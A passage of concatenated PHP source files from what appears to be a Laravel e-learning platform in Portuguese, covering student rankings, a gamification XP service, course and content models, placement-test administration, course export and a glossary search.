\App\Services\GamificacaoService::loginIncrement(); // \App\Services\GamificacaoService::incrementUserXP(1); $habilidades = HabilidadeUsuario::where('user_id', Auth::user()->id)->count(); $aulas = $this->getAulas(date("Y-m-d"), "todas"); // dd($aulas); $usersXps = User::with('gamificacao') // where([['permissao', '=', 'A']]) ->get() ->sortByDesc('gamificacao.xp')->values(); // $usersXps = GamificacaoUsuario::select('user_id', 'xp') // ->orderBy('xp', 'DESC') // ->limit(20) // ->get(); $escolas = Escola::all(); foreach ($escolas as $key => $escola) { $total = 0; foreach ($escola->alunos as $key => $aluno) { if($aluno->gamificacao != null) { $total += $aluno->gamificacao->sum('xp'); } } $escola->xp = $total; } $escolas = $escolas->sortByDesc('xp')->values(); $turmas = Turma::with('alunos.user.gamificacao')->whereHas('alunos.user')->get(); foreach ($turmas as $key => $turma) { $total = 0; foreach ($turma->alunos as $key => $aluno) { if($aluno->user->gamificacao != null) { $total += $aluno->user->gamificacao->sum('xp'); } // $total += 1; } $turma->xp = $total; } $turmas = $turmas->sortByDesc('xp')->values(); $userIndexGet = $usersXps->search(function ($user) { return $user->id === Auth::id(); }); ($userIndexGet !== false ? $userIndex = $userIndexGet + 1 : $userIndex = $userIndexGet); // $userIndex = $userIndexGet; $escolaUserIndexGet = $escolas->search(function ($escola) { return $escola->id === Auth::user()->escola_id; }); ($escolaUserIndexGet !== false ? $escolaIndex = $escolaUserIndexGet + 1 : $escolaIndex = $escolaUserIndexGet); $turmaIndex = null; if(AlunoTurma::where('user_id', Auth::user()->id)->exists()) { $turmaIndexGet = $turmas->search(function ($turma) { $turmaId = AlunoTurma::where('user_id', Auth::user()->id)->first(); return $turma->id === $turmaId->turma_id; }); ($turmaIndexGet !== false ? $turmaIndex = $turmaIndexGet + 1 : $turmaIndex = $turmaIndexGet); } // $userLogged = GamificacaoUsuario::where('user_id', Auth::id())->first(); $userLogged = Auth::user()->with('gamificacao'); if(AlunoTurma::where('user_id', Auth::user()->id)->exists()) { $idUserTurma = AlunoTurma::where('user_id', Auth::user()->id)->first()->turma_id; } return view('pages.estatisticas.alunos.index', compact('aulas', 'habilidades', 'userIndex', 'userLogged', 'turmaIndex')); } private function getAulas($date, $turma) { $dayOfWeek = Carbon::createFromFormat('Y-m-d', $date)->dayOfWeek; if ($turma === "todas") { $turmasId = []; foreach (Auth::user()->turmas_aluno as $turma) { $turmasId[] = $turma->turma_id; } // Retorna as grades de aula relacionadas a todas as turmas que o aluno faz parte. return GradeAula::whereIn('turma_id', $turmasId) ->where(function ($query) use ($dayOfWeek, $date) { $query->where([['recorrente', 0], ['data', $date]]); $query->orWhere([['recorrente', 1], ['dia', $dayOfWeek]]); })->with('planos')->orderBy('hora_inicial')->get(); } // Retorna as grades de aula relacionada a uma turma. return GradeAula::where('turma_id', $turma)->where(function ($query) use ($dayOfWeek, $date) { $query->where([['recorrente', 0], ['data', $date]]); $query->orWhere([['recorrente', 1], ['dia', $dayOfWeek]]); })->get(); } } <file_sep>/app/Entities/PlanoAula/PlanoAulaAnexo.php <?php namespace App\Entities\PlanoAula; use App\Conteudo; use App\Generals\Presenter\PlanoAula\PlanoAulaAnexoPresenter; use Illuminate\Database\Eloquent\Model; use Laracasts\Presenter\PresentableTrait; class PlanoAulaAnexo extends Model { use PresentableTrait; protected $presenter = PlanoAulaAnexoPresenter::class; protected $table = "plano_aula_anexos"; //Preenchiveis protected $fillable = [ 'tipo', // 1 atividades - 2 materiais 'plano_aula_id', 'conteudo_id', ]; public function conteudo() { return $this->belongsTo(Conteudo::class, 'conteudo_id'); } } <file_sep>/app/Http/Controllers/Exportacao/CursoController.php <?php namespace App\Http\Controllers\Exportacao; use App\Curso; use App\Aula; use App\ConteudoAula; use App\Conteudo; class CursoController extends ExportacaoController { public function curso($idCurso) { $curso = Curso::find($idCurso); $curso->makeHidden(['id', 'user_id', 'created_at', 'updated_at']); //LISTA DE CAMPOS QUE NÃO PRECISAMOS CAPTURAR. $aulas = Aula::where('curso_id', $idCurso)->get(); $aulas->makeHidden(['id', 'curso_id', 'user_id', 'created_at', 'updated_at']); //LISTA DE CAMPOS QUE NÃO PRECISAMOS CAPTURAR. foreach($aulas as $index => $aula) { $aulaConteudos = ConteudoAula::where([['aula_id', '=', $aula->id], ['curso_id', '=', $idCurso]])->get(); $aulaConteudos->makeHidden(['id', 'user_id', 'created_at', 'updated_at']); //LISTA DE CAMPOS QUE NÃO PRECISAMOS CAPTURAR. foreach($aulaConteudos as $aulaConteudo) { $aulaConteudo = Conteudo::find($aulaConteudo->conteudo_id); $aulaConteudo->makeHidden(['id', 'user_id', 'created_at', 'updated_at']); //LISTA DE CAMPOS QUE NÃO PRECISAMOS CAPTURAR. $resAulaConteudos[] = $aulaConteudo; } $resAulas[$index] = $aula; $resAulas[$index]['conteudos'] = $resAulaConteudos; } $res['curso'] = $curso; $res['curso']['aulas'] = $resAulas; $res = json_encode($res); $fileName = $this->generateFileName('curso', $curso->titulo, 'tz'); return $this->callDownloadFromStream($res, $fileName, ''); } }<file_sep>/app/Entities/TesteNivelamento/TesteNivelamentoResultado.php <?php namespace App\Entities\TesteNivelamento; use App\User; use Illuminate\Database\Eloquent\Model; class TesteNivelamentoResultado extends Model { protected $table = "teste_nivelamento_resultados"; //Preenchiveis protected $fillable = [ 'user_id', 'teste_id', 'pontuacao', 'finalizado', 'status', ]; public function teste() { return $this->belongsTo(TesteNivelamento::class, 'teste_id'); } public function user() { return $this->belongsTo(User::class, 'user_id'); } } <file_sep>/app/Http/Controllers/TesteNivelamento/Admin/TesteNivelamentoController.php <?php namespace App\Http\Controllers\TesteNivelamento\Admin; use App\Entities\Questoes\Questoes; use App\Entities\TesteNivelamento\TesteNivelamento; use App\Entities\TesteNivelamento\TesteNivelamentoDirecionamento; use App\Entities\TesteNivelamento\TesteNivelamentoQuestao; use App\Entities\TesteNivelamento\TesteNivelamentoRespostaQuestao; use App\Entities\TesteNivelamento\TesteNivelamentoResultado; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; class TesteNivelamentoController extends Controller { private $teste; private $testeQuestao; private $testeDirecionamento; private $questao; private $resultado; public function __construct( TesteNivelamento $teste, TesteNivelamentoQuestao $testeQuestao, TesteNivelamentoDirecionamento $testeDirecionamento, TesteNivelamentoRespostaQuestao $testeRespostaQuestao, Questoes $questao, TesteNivelamentoResultado $resultado) { $this->teste = $teste; $this->testeQuestao = $testeQuestao; $this->testeDirecionamento = $testeDirecionamento; $this->testeRespostaQuestao = $testeRespostaQuestao; $this->questao = $questao; $this->resultado = $resultado; } public function index() { $testes = $this->teste->orderBy('id', 'DESC')->get(); return view('pages.teste.admin.index', compact('testes')); } public function store(Request $request) { $this->validate($request, [ 'titulo' => 'required', 'peso' => 'required' ], [ 'peso.required' => 'Adicione pelo menos uma questão ao seu teste!' ]); // Grava o teste no banco e retorna o ID $testeId = $this->teste->create([ 'user_id' => Auth::user()->id, 'titulo' => $request->get('titulo'), 'descricao' => $request->get('descricao'), 'tempo' => $request->get('tempo') ])->id; // Grava as questões relacionadas ao teste foreach ($request->get('peso') as $key => $peso) { $this->testeQuestao->create(['teste_id' => $testeId, 'questao_id' => $key, 'peso' => $peso]); } // Verifica se existe um redirecionamento no request // Se existir grava os redirecionamentos relacionados ao teste if ($request->get('regra') !== null) { $direcionamentos = array_map(null, $request->get('regra'), $request->get('pontuacao'), $request->get('direcionamento')); foreach ($direcionamentos as $direc) { $this->testeDirecionamento->create([ 'teste_id' => $testeId, 'regra' => $direc[0], 'pontuacao' => $direc[1], 'direcionamento' => $direc[2] ]); } } return redirect()->route('gestao.teste.listar')->with('message', 'Cadastro realizado com sucesso!'); } public function edit($idTeste) { $teste = $this->teste->find($idTeste); $questoes = $this->questao->select('titulo', 'id')->get(); return view('pages.teste.admin.edit', compact('teste', 'questoes')); } public function update($idTeste, Request $request) { //dd($request->all()); $this->validate($request, ['titulo' => 'required']); // atualiza o teste $this->teste->find($idTeste)->update([ 'titulo' => $request->get('titulo'), 'descricao' => $request->get('descricao'), 'tempo' => $request->get('tempo') ]); // atualiza o peso das questões if ($request->get('peso')) { foreach ($request->get('peso') as $key => $peso) { $this->testeQuestao->find($key)->update(['peso' => $peso]); } } // verifica se existe novas questões adicionadas // Adiciona questão if ($request->get('peso_new')) { foreach ($request->get('peso_new') as $key => $peso) { $this->testeQuestao->create([ 'teste_id' => $idTeste, 'questao_id' => $key, 'peso' => $peso ]); } } // verifica se existe questões para ser excluidas // remove questões if ($request->get('questoesExcluidas')) { foreach ($request->get('questoesExcluidas') as $questao) { $this->testeQuestao->find($questao)->delete(); } } // Atualiza os dados dos direcionamentos if ($request->get('regra') !== null) { $keys = array_keys($request->get('regra')); $direcionamentos = array_map(null, $keys, $request->get('regra'), $request->get('pontuacao'), $request->get('direcionamento')); foreach ($direcionamentos as $direc) { $this->testeDirecionamento->find($direc[0])->update([ 'regra' => $direc[1], 'pontuacao' => $direc[2], 'direcionamento' => $direc[3] ]); } } // verifica se existe direcionamentos para ser excluidos // remove direcionamentos if ($request->get('direcExcluidos')) { foreach ($request->get('direcExcluidos') as $dirExc) { $this->testeDirecionamento->find($dirExc)->delete(); } } // Verifica se existe um novo redirecionamento no request // Se existir grava os redirecionamentos relacionados ao teste if ($request->get('regra_new') !== null) { $direcionamentos = array_map(null, $request->get('regra_new'), $request->get('pontuacao_new'), $request->get('direcionamento_new')); foreach ($direcionamentos as $direc) { $this->testeDirecionamento->create([ 'teste_id' => $idTeste, 'regra' => $direc[0], 'pontuacao' => $direc[1], 'direcionamento' => $direc[2] ]); } } //return redirect()->route('gestao.teste.listar')->with('message', 'Teste atualizado com sucesso!'); return redirect()->back()->with('message', 'Teste atualizado com sucesso!'); } public function delete(Request $request) { $this->teste->find($request->idTeste)->delete; return redirect()->route('gestao.teste.listar')->with('message', 'Teste excluído com sucesso!'); } public function listarResultados($idTeste) { $teste = $this->teste->find($idTeste); $finalizados = $this->resultado ->where('teste_id', $idTeste) ->where('status', 0)// apenas testes finalizados ->latest() ->get(); $correcoes = $this->resultado ->where('teste_id', $idTeste) ->where('status', 2)// apenas testes aguardando correção ->latest() ->get(); return view('pages.teste.admin.resultados', compact('finalizados', 'correcoes', 'teste')); } public function corrigeResultado($idResultado) { $resultado = $this->resultado->find($idResultado); $questoes = $this->testeRespostaQuestao ->where('teste_nivelamento_resultado_id', $idResultado) ->with('testeQuestao') ->get(); $countRespostas = $this->testeRespostaQuestao ->where('teste_nivelamento_resultado_id', $resultado->id) ->where('correta', null) ->get() ->count(); return view('pages.teste.admin.resultados_corrige', compact('resultado', 'questoes', 'countRespostas')); } public function correcaoResultado($idRespostaQuestao, $value) { $respostaQuestao = $this->testeRespostaQuestao->find($idRespostaQuestao); $resultado = $this->resultado->find($respostaQuestao->teste_nivelamento_resultado_id); if ($value == 'true') { $pontuacaoFinal = $resultado->pontuacao + $respostaQuestao->testeQuestao->peso; $resultado->update(['pontuacao' => $pontuacaoFinal]); } $respostaQuestao->update(['correta' => $value]); // verifica se existe mais alguma questão para ser corrigida $checkRespostas = $this->testeRespostaQuestao ->where('teste_nivelamento_resultado_id', $resultado->id) ->where('correta', null) ->get() ->count(); //se não existir mais nenhuma questão, atualiza o teste como finalizado, status = 0 if ($checkRespostas <= 0) { $resultado->update(['status' => 0]); } return redirect()->back()->with('')->with('message', 'Questão corrigida com sucesso!'); } } <file_sep>/app/Conteudo.php <?php namespace App; use App\Entities\Favorito\Favorito; use App\Generals\Presenter\Conteudos\ConteudoPresenter; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; use Carbon\Carbon; use Laracasts\Presenter\PresentableTrait; class Conteudo extends Model { use PresentableTrait; protected $presenter = ConteudoPresenter::class; //Preenchiveis protected $fillable = [ 'id', 'user_id', 'titulo', 'descricao', 'status', 'tipo', 'conteudo', 'tempo', 'duracao', 'apoio', 'fonte', 'autores', 'categoria_id', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'descricao' => '', 'status' => 0, 'tipo' => 1, 'duracao' => 0, 'apoio' => '', 'fonte' => '', 'autores' => '', 'categoria_id' => 1, ]; public function conteudos_aula() { return $this->hasMany('App\ConteudoAula', 'conteudo_id'); } public function conteudo_aula() { return $this->belongsTo('App\ConteudoAula', 'id', 'conteudo_id'); } public function progressos() { return $this->hasMany('App\ProgressoConteudo', 'conteudo_id')->where('tipo', '=', 2); } public function progressos_user() { return $this->hasMany('App\ProgressoConteudo', 'conteudo_id')->with('user')->where('tipo', '=', 2); } public function user() { return $this->belongsTo('App\User', 'user_id'); } public static function detalhado($conteudos) { foreach ($conteudos as $key => $conteudo) { switch ($conteudo->tipo) { case 1: $conteudo->tipo_nome = 'Misto'; $conteudo->tipo_icon = 'fas fa-font'; break; case 2: $conteudo->tipo_nome = 'Áudio'; $conteudo->tipo_icon = 'fas fa-podcast'; break; case 3: $conteudo->tipo_nome = 'Vídeo'; $conteudo->tipo_icon = 'fa fa-video'; break; case 4: $conteudo->tipo_nome = 'Slide'; $conteudo->tipo_icon = 'fa fa-file-powerpoint'; break; case 5: $conteudo->tipo_nome = 'Transmissão'; $conteudo->tipo_icon = 'fa fa-broadcast-tower'; break; case 6: $conteudo->tipo_nome = 'Upload'; $conteudo->tipo_icon = 'fa fa-upload'; break; case 7: $conteudo->tipo_nome = 'Dissertativa'; $conteudo->tipo_icon = 'fa fa-comment-alt'; break; case 8: $conteudo->tipo_nome = 'Quiz'; $conteudo->tipo_icon = 'fa fa-list-ul'; break; case 9: $conteudo->tipo_nome = 'Prova'; $conteudo->tipo_icon = 'fa fa-stopwatch'; break; case 10: $conteudo->tipo_nome = 'Entregável'; $conteudo->tipo_icon = 'fa fa-arrow-circle-up'; break; case 11: $conteudo->tipo_nome = 'Livro digital'; $conteudo->tipo_icon = 'fa fa-file-alt'; break; default: $conteudo->tipo_nome = 'Misto'; $conteudo->tipo_icon = 'fas fa-font'; break; } Carbon::setLocale('pt-BR'); $conteudo->date = $conteudo->created_at->formatLocalized('%d de %B de %Y às %H:%M'); } return $conteudos; } public function favorito($idUser, $idRef) { return $this->hasOne(Favorito::class, 'referencia_id') ->where([['user_id', $idUser], ['referencia_id', $idRef], ['tipo', 2]])->first(); } public function getTipoNomeAttribute() { switch ($this->tipo) { case 1: return 'Misto'; break; case 2: return 'Áudio'; break; case 3: return 'Vídeo'; break; case 4: return 'Slide'; break; case 5: return 'Transmissão'; break; case 6: return 'Upload'; break; case 7: return 'Dissertativa'; break; case 8: return 'Quiz'; break; case 9: return 'Prova'; break; case 10: return 'Entregável'; break; case 11: return 'Livro digital'; break; default: return 'Misto'; break; } } public function getTipoIconAttribute() { switch ($this->tipo) { case 1: return 'fas fa-font'; break; case 2: return 'fas fa-podcast'; break; case 3: return 'fa fa-video'; break; case 4: return 'fa fa-file-powerpoint'; break; case 5: return 'fa fa-broadcast-tower'; break; case 6: return 'fa fa-upload'; break; case 7: return 'fa fa-comment-alt'; break; case 8: return 'fa fa-list-ul'; break; case 9: return 'fa fa-stopwatch'; break; case 10: return 'fa fa-arrow-circle-up'; break; case 11: return 'fa fa-file-alt'; break; default: return 'fas fa-font'; break; } } } <file_sep>/app/Http/Controllers/Favoritos/Alunos/FavoritosController.php <?php namespace App\Http\Controllers\Favoritos\Alunos; use App\Entities\Favorito\Favorito; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; class FavoritosController extends Controller { public function index() { $favoritos = Favorito::where('user_id', Auth::user()->id)->get(); return view('pages.favoritos.alunos.index', compact('favoritos')); } public function adiciona($idRef, $tipo) { if (Favorito::where([['user_id', Auth::user()->id], ['referencia_id', $idRef], ['tipo', $tipo]])->exists() === true) { return redirect()->route('biblioteca')->withErrors(['Este conteúdo já foi adicionado aos seus favoritos']); } Favorito::create([ 'user_id' => Auth::user()->id, 'referencia_id' => $idRef, 'tipo' => $tipo ]); return redirect()->route('biblioteca')->with('message', 'Conteúdo adicionado aos favoritos!'); } public function search(Request $request) { $favoritos = Favorito::where('user_id', Auth::user()->id) ->with('conteudo') ->whereHas('conteudo', function ($query) use ($request) { $query->where('titulo', 'LIKE', '%' . $request->get('search') . '%'); })->get(); return view('pages.favoritos.alunos.index', compact('favoritos')); } } <file_sep>/app/Http/Controllers/Ranking/Alunos/RankingController.php <?php namespace App\Http\Controllers\Ranking\Alunos; use App\AlunoTurma; use App\Entities\GamificacaoUsuario\GamificacaoUsuario; use App\Escola; use App\Turma; use App\User; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; class RankingController extends Controller { public function index() { $usersXps = User::with('gamificacao') // where([['permissao', '=', 'A']]) ->get() ->sortByDesc('gamificacao.xp')->values(); // $usersXps = GamificacaoUsuario::select('user_id', 'xp') // ->orderBy('xp', 'DESC') // ->limit(20) // ->get(); $escolas = Escola::all(); foreach ($escolas as $key => $escola) { $total = 0; foreach ($escola->alunos as $key => $aluno) { if($aluno->gamificacao != null) { $total += $aluno->gamificacao->sum('xp'); } } $escola->xp = $total; } $escolas = $escolas->sortByDesc('xp')->values(); $turmas = Turma::with('alunos.user.gamificacao')->whereHas('alunos.user')->get(); foreach ($turmas as $key => $turma) { $total = 0; foreach ($turma->alunos as $key => $aluno) { if($aluno->user->gamificacao != null) { $total += $aluno->user->gamificacao->sum('xp'); } // $total += 1; } $turma->xp = $total; } $turmas = $turmas->sortByDesc('xp')->values(); $userIndexGet = $usersXps->search(function ($user) { return $user->id === Auth::id(); }); ($userIndexGet !== false ? $userIndex = $userIndexGet + 1 : $userIndex = $userIndexGet); // $userIndex = $userIndexGet; $escolaUserIndexGet = $escolas->search(function ($escola) { return $escola->id === Auth::user()->escola_id; }); ($escolaUserIndexGet !== false ? $escolaIndex = $escolaUserIndexGet + 1 : $escolaIndex = $escolaUserIndexGet); $turmaIndex = null; if(AlunoTurma::where('user_id', Auth::user()->id)->exists()) { $turmaIndexGet = $turmas->search(function ($turma) { $turmaId = AlunoTurma::where('user_id', Auth::user()->id)->first(); return $turma->id === $turmaId->turma_id; }); ($turmaIndexGet !== false ? $turmaIndex = $turmaIndexGet + 1 : $turmaIndex = $turmaIndexGet); } // $userLogged = GamificacaoUsuario::where('user_id', Auth::id())->first(); $userLogged = Auth::user()->with('gamificacao'); $idUserTurma = null; if(AlunoTurma::where('user_id', Auth::user()->id)->exists()) { $idUserTurma = AlunoTurma::where('user_id', Auth::user()->id)->first()->turma_id; } return view('pages.ranking.alunos.index', compact('usersXps', 'userIndex', 'turmaIndex', 'idUserTurma', 'userLogged', 'escolas', 'turmas', 'escolaIndex')); } } <file_sep>/app/Http/Controllers/Importacao/ImportacaoController.php <?php namespace App\Http\Controllers\Importacao; class ImportacaoController { }<file_sep>/app/Entities/Roteiros/RoteirosTopico.php <?php namespace App\Entities\Roteiros; use App\Roteiro; use Illuminate\Database\Eloquent\Model; class RoteirosTopico extends Model { protected $table = "roteiros_topicos"; //Preenchiveis protected $fillable = [ 'titulo', 'roteiro_id', 'status', ]; public $topicosAtivos; public $topicosInativos; //atributos protected $attributes = [ ]; public function topico() { return $this->belongsTo(Roteiros::class, 'roteiro_id'); } } <file_sep>/app/Entities/HabilidadeUsuario/HabilidadeUsuario.php <?php namespace App\Entities\HabilidadeUsuario; use App\Entities\Habilidade\Habilidade; use App\User; use Illuminate\Database\Eloquent\Model; class HabilidadeUsuario extends Model { protected $table = "habilidade_usuario"; //Preenchiveis protected $fillable = [ 'habilidade_id', 'user_id', 'pontos' ]; public function habilidade() { return $this->belongsTo(Habilidade::class); } public function user() { return $this->belongsTo(User::class, 'user_id'); } } <file_sep>/app/Http/Controllers/Exportacao/AulaConteudoController.php <?php namespace App\Http\Controllers\Exportacao; use App\Conteudo; class AulaConteudoController extends ExportacaoController { public function aulaConteudo($idCurso, $idAula, $idConteudo) { $aulaConteudo = Conteudo::find($idConteudo); $aulaConteudo->makeHidden(['id', 'user_id', 'created_at', 'updated_at']); //LISTA DE CAMPOS QUE NÃO PRECISAMOS CAPTURAR. $res['aula_conteudo'] = $aulaConteudo; $res = json_encode($res); $fileName = $this->generateFileName('aula_conteudo', $aulaConteudo->titulo, 'tz'); return $this->callDownloadFromStream($res, $fileName, ''); } }<file_sep>/app/Services/GamificacaoService.php <?php namespace App\Services; use Auth; use App\User; use App\Notificacao; use App\Entities\GamificacaoUsuario\GamificacaoUsuario; use App\Entities\ConfiguracoesGamificacao\ConfiguracoesGamificacao; class GamificacaoService { // // Gatilhos de incremento da plataforma // // // loginIncrement() // conteudoCompletoIncrement // aulaConcluidaIncrement() // cursoConcluidoIncrement() // testeConcluidaIncrement() // topicoCriadoIncrement() // comentarioEnviadoIncrement() // public static function loginIncrement() { $configuracoes_gamificacao = ConfiguracoesGamificacao::where([['escola_id', '=', Auth::user()->escola_id]])->first(); // dd($configuracoes_gamificacao); if($configuracoes_gamificacao == null) { return true; } if($configuracoes_gamificacao->login_ativo == true) { self::incrementUserXP($configuracoes_gamificacao->login_xp); } return true; } public static function conteudoCompletoIncrement() { $configuracoes_gamificacao = ConfiguracoesGamificacao::where([['escola_id', '=', Auth::user()->escola_id]])->first(); if($configuracoes_gamificacao == null) { return true; } if($configuracoes_gamificacao->conclusao_conteudo_ativo == true) { self::incrementUserXP($configuracoes_gamificacao->conclusao_conteudo_xp); } return true; } public static function aulaConcluidaIncrement() { $configuracoes_gamificacao = ConfiguracoesGamificacao::where([['escola_id', '=', Auth::user()->escola_id]])->first(); if($configuracoes_gamificacao == null) { return true; } if($configuracoes_gamificacao->conclusao_aula_ativo == true) { self::incrementUserXP($configuracoes_gamificacao->conclusao_aula_xp); } return true; } public static function cursoConcluidoIncrement() { $configuracoes_gamificacao = ConfiguracoesGamificacao::where([['escola_id', '=', Auth::user()->escola_id]])->first(); if($configuracoes_gamificacao == null) { return true; } if($configuracoes_gamificacao->conclusao_curso_ativo == true) { self::incrementUserXP($configuracoes_gamificacao->conclusao_curso_xp); } return true; } public static function testeConcluidaIncrement() { $configuracoes_gamificacao = ConfiguracoesGamificacao::where([['escola_id', '=', Auth::user()->escola_id]])->first(); if($configuracoes_gamificacao == null) { return true; } if($configuracoes_gamificacao->conclusao_teste_ativo == true) { self::incrementUserXP($configuracoes_gamificacao->conclusao_teste_xp); } return true; } public static function topicoCriadoIncrement() { $configuracoes_gamificacao = ConfiguracoesGamificacao::where([['escola_id', '=', Auth::user()->escola_id]])->first(); if($configuracoes_gamificacao == null) { return true; } if($configuracoes_gamificacao->topico_ativo == true) { self::incrementUserXP($configuracoes_gamificacao->topico_xp); } return true; } public static function comentarioEnviadoIncrement() { $configuracoes_gamificacao = ConfiguracoesGamificacao::where([['escola_id', '=', Auth::user()->escola_id]])->first(); if($configuracoes_gamificacao == null) { return true; } if($configuracoes_gamificacao->comentario_ativo == true) { self::incrementUserXP($configuracoes_gamificacao->comentario_xp); } return true; } // // Helper functions // public static function incrementUserXP($amount) { if(($amount > 0) == false) { return null; } else if(Auth::check() == false) { return null; } $gamificacao_usuario = GamificacaoUsuario::where('user_id', Auth::user()->id)->first(); // $gamificacao_usuario->delete(); // dd($gamificacao_usuario); if ($gamificacao_usuario == null) { $gamificacao_usuario = GamificacaoUsuario::create(['user_id' => Auth::user()->id, 'xp' => 0]); } if((Auth::user()->gamificacao->xp_reseted + $amount) >= Auth::user()->gamificacao->next_level_xp(true)) { $level_up = true; } else { $level_up = false; } $new_level = Auth::user()->gamificacao->getLevel( Auth::user()->gamificacao->xp + $amount ); if($level_up) { Notificacao::create([ 'user_id' => Auth::user()->id, 'titulo' => "Parabéns!", 'descricao' => "Você alcançou o nível " . ( $new_level ), 'tipo' => 2, ]); $gamificacao_usuario->update([ "notificado_level_up" => false ]); } $gamificacao_usuario->update([ 'xp' => ($gamificacao_usuario->xp + $amount) ]); // return Auth::user()->gamificacao->level_atual() . ', ' . $new_level . ', ' . Auth::user()->gamificacao->xp . ', ' . $amount . '<br>' . Auth::user()->gamificacao->getLevel( (Auth::user()->gamificacao->xp + $amount) ); return $gamificacao_usuario; } public static function showLevelUpNotification() { if(Auth::check() == false) { return null; } $gamificacao_usuario = GamificacaoUsuario::where('user_id', Auth::user()->id)->first(); if ($gamificacao_usuario == null) { $gamificacao_usuario = GamificacaoUsuario::create(['user_id' => Auth::user()->id, 'xp' => 0]); } if($gamificacao_usuario->notificado_level_up == false) { $gamificacao_usuario->update([ "notificado_level_up" => true ]); $new_level = $gamificacao_usuario->level_atual(); return view('components.gamificacao.level-up-popup')->with( compact('new_level') ); } else { return null; } } } <file_sep>/app/Curso.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class Curso extends Model { //Preenchiveis protected $fillable = [ 'escola_id', 'user_id', 'titulo', 'descricao_curta', 'descricao', 'capa', 'categoria', 'tipo', 'visibilidade', 'senha', 'status', 'preco', 'periodo', 'vagas', 'data_publicacao', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'escola_id' => 1, 'capa' => '', 'categoria' => 1, 'tipo' => 1, 'visibilidade' => 1, 'senha' => '', 'status' => 0, 'preco' => 0, 'periodo' => 0, 'vagas' => 0, ]; // // Tipos // // 1 = Curso padrão / Para alunos // 2 = Curso para professores / gestores (oculto do catalogo) // // // Mutators // public function getMatriculadosAttribute() { return Matricula::where('curso_id', '=', $this->id)->count(); } public function getStatusNameAttribute() { switch ($this->status) { case 0: return 'Rascunho'; break; case 1: return 'Publicado'; break; default: return 'Rascunho'; break; } } // // Relationships // public function user() { return $this->belongsTo('App\User', 'user_id'); } public function matriculas() { return $this->hasMany('App\Matricula', 'curso_id'); } public function aulas() { return $this->hasMany('App\Aula', 'curso_id')->orderBy('id', 'asc'); } public function conteudos() { return $this->hasMany('App\Conteudo', 'curso_id'); } public function avaliacoes() { return $this->hasMany('App\AvaliacaoCurso', 'curso_id'); } public function avaliacoes_user() { return $this->hasMany('App\AvaliacaoCurso', 'curso_id')->with('user'); } public function topicos() { // return $this->hasMany('App\TopicoCurso', 'curso_id')->withCount('comentarios')->withCount('visualizacoes'); return $this->hasMany('App\TopicoCurso', 'curso_id')->withCount('comentarios'); } public static function TituloUrl($cursos) { foreach ($cursos as $curso) { $curso->titulo_url = $curso->titulo; if(Curso::where('titulo', '=', $curso->titulo)->count() > 1) { $curso->titulo_url = $curso->titulo_url . '-' . $curso->id; } // $curso->titulo_url = urlencode($curso->titulo_url); // $curso->titulo_url = preg_replace('/[ ]/', '+', $curso->titulo_url); $curso->titulo_url = mb_strtolower($curso->titulo_url, 'UTF-8'); } return $cursos; } } <file_sep>/app/Http/Controllers/Glossario/Front/GlossarioController.php <?php namespace App\Http\Controllers\Glossario\Front; use App\Entities\Glossario\Repository; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use App\Conteudo; class GlossarioController extends Controller { private $repository; public function __construct(Repository $repository) { $this->repository = $repository; } public function index($word = 'A') { $glossarios = $this->repository->all($word); foreach ($glossarios as $key => $value) { $relacionados = Conteudo:: where([['titulo', 'like', '%' . $value->word . '%']]) ->orWhere([['descricao', 'like', '%' . $value->word . '%']]) ->orWhere([['conteudo', 'like', '%' . $value->word . '%']]) ->orWhere([['apoio', 'like', '%' . $value->word . '%']]) ->orWhere([['fonte', 'like', '%' . $value->word . '%']]) ->orWhere([['autores', 'like', '%' . $value->word . '%']]) ->get(); // dd($relacionados); $value->relacionados = $relacionados; } return view('pages.glossario.front.index', compact('glossarios', 'word')); } public function search(Request $request) { $word = ucfirst($request->get('word')); $glossarios = $this->repository->search($word); foreach ($glossarios as $key => $value) { $relacionados = Conteudo:: where([['titulo', 'like', '%' . $value->word . '%']]) ->orWhere([['descricao', 'like', '%' . $value->word . '%']]) ->orWhere([['conteudo', 'like', '%' . $value->word . '%']]) ->orWhere([['apoio', 'like', '%' . $value->word . '%']]) ->orWhere([['fonte', 'like', '%' . $value->word . '%']]) ->orWhere([['autores', 'like', '%' . $value->word . '%']]) ->get(); // dd($relacionados); $value->relacionados = $relacionados; } return view('pages.glossario.front.index', compact('glossarios', 'word')); } } <file_sep>/app/Entities/TesteNivelamento/TesteNivelamentoRespostaQuestao.php <?php namespace App\Entities\TesteNivelamento; use App\Entities\Questoes\Questoes; use Illuminate\Database\Eloquent\Model; class TesteNivelamentoRespostaQuestao extends Model { protected $table = "teste_nivelamento_resposta_questao"; //Preenchiveis protected $fillable = [ 'teste_nivelamento_resultado_id', 'questao_id', 'user_id', 'resposta', 'correta' ]; public function questao() { return $this->belongsTo(Questoes::class, 'questao_id'); } public function testeQuestao() { return $this->belongsTo(TesteNivelamentoQuestao::class, 'questao_id', 'questao_id'); } } <file_sep>/app/Http/Controllers/GradeAula/Admin/GradeAulaController.php <?php namespace App\Http\Controllers\GradeAula\Admin; use App\AlunoTurma; use App\Entities\GradeAula\GradeAula; use App\Turma; use Carbon\Carbon; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Redirect; use Illuminate\Support\Facades\Session; use MaddHatter\LaravelFullcalendar\Facades\Calendar; class GradeAulaController extends Controller { private function getCalendar($idTurma) { $events = []; $data = GradeAula::where('user_id', Auth::user()->id)->where('turma_id', $idTurma)->get(); if ($data->count()) { foreach ($data as $key => $value) { $opts = [ 'color' => "$value->cor", 'textColor' => '#FFFFFF', 'description' => $value->descricao, 'dow' => [$value->dia], 'ranges' => [$value->dia => ['start' => "$value->data_inicial", 'end' => '']] ]; if ($value->recorrente == 0) { unset($opts['dow']); unset($opts['ranges']); } $events[] = Calendar::event( $value->titulo, false, $value->data_inicial, $value->data_final, $value->id, $opts ); } } $calendar = Calendar::addEvents($events)->setOptions([ 'columnFormat' => 'ddd D', 'allDaySlot' => false, 